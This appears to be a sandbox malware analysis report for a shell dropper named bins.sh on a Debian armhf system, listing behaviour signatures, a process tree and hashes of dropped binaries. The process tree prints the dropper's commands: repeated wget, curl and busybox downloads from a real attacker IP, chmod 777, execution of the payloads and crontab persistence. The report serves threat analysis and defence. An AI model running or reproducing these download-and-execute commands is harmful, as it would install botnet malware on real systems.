Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/11/2024, 08:47

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-kpyarsvrhw
  • SHA256 be58229ea1de591e3491a66a179ae22acbf42c8b046559734c90d3985bcef588
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1964) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:657
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:660
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1
          2⤵
          • Writes file to tmp directory
          PID:667
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:682
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1
          2⤵
          • File and Directory Permissions Modification
          PID:691
        • /tmp/zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1
          ./zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1
          2⤵
          • Executes dropped EXE
          PID:692
        • /bin/rm
          rm zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1
          2⤵
            PID:694
          • /usr/bin/wget
            wget http://216.126.231.240/bins/574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH
            2⤵
            • Writes file to tmp directory
            PID:695
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH
            2⤵
            • Writes file to tmp directory
            PID:699
          • /bin/chmod
            chmod 777 574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH
            2⤵
            • File and Directory Permissions Modification
            PID:702
          • /tmp/574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH
            ./574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:704
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:706
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:708
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:709
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:710
                • /bin/rm
                  rm 574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH
                  2⤵
                    PID:715
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf
                    2⤵
                      PID:718
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf
                      2⤵
                        PID:720
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf
                        2⤵
                        • Writes file to tmp directory
                        PID:802
                      • /bin/chmod
                        chmod 777 oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf
                        2⤵
                        • File and Directory Permissions Modification
                        PID:812
                      • /tmp/oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf
                        ./oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf
                        2⤵
                        • Executes dropped EXE
                        PID:813
                      • /bin/rm
                        rm oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf
                        2⤵
                          PID:815
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l
                          2⤵
                            PID:816
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l
                            2⤵
                              PID:818
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l
                              2⤵
                              • Writes file to tmp directory
                              PID:820
                            • /bin/chmod
                              chmod 777 6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l
                              2⤵
                              • File and Directory Permissions Modification
                              PID:825
                            • /tmp/6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l
                              ./6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l
                              2⤵
                              • Executes dropped EXE
                              PID:829
                            • /bin/rm
                              rm 6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l
                              2⤵
                                PID:831
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/69HrEje3XpYe9HWr2BG6OLsglqM1fQSkZc
                                2⤵
                                  PID:832

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH

                                    • Path /tmp/574ywL7vEcMFMxagO1ofucp8z0SKhBTHVH
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l

                                    • Path /tmp/6P92sxwN4Yk2cOJgvd40B3Ody5c0OIwj5l
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP

                                    oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf

                                    • Path /tmp/oLWp282bBcqnBO9h2f7KtzvxeCdxbUbMCf
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP

                                    zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1

                                    • Path /tmp/zUJ7SAiVokwdeva4PDYgzt6dGnnwpJ9GT1
                                    • Size 99KB
                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tmp.OskCEp

                                    • Path /var/spool/cron/crontabs/tmp.OskCEp
                                    • Size 210B
                                    • SHA256 36b40906b142fd8becebbbf40c1c23c0bcbd4307eec22b31db6a457a9ceb1546
                                    • MD5 SHA1 SHA512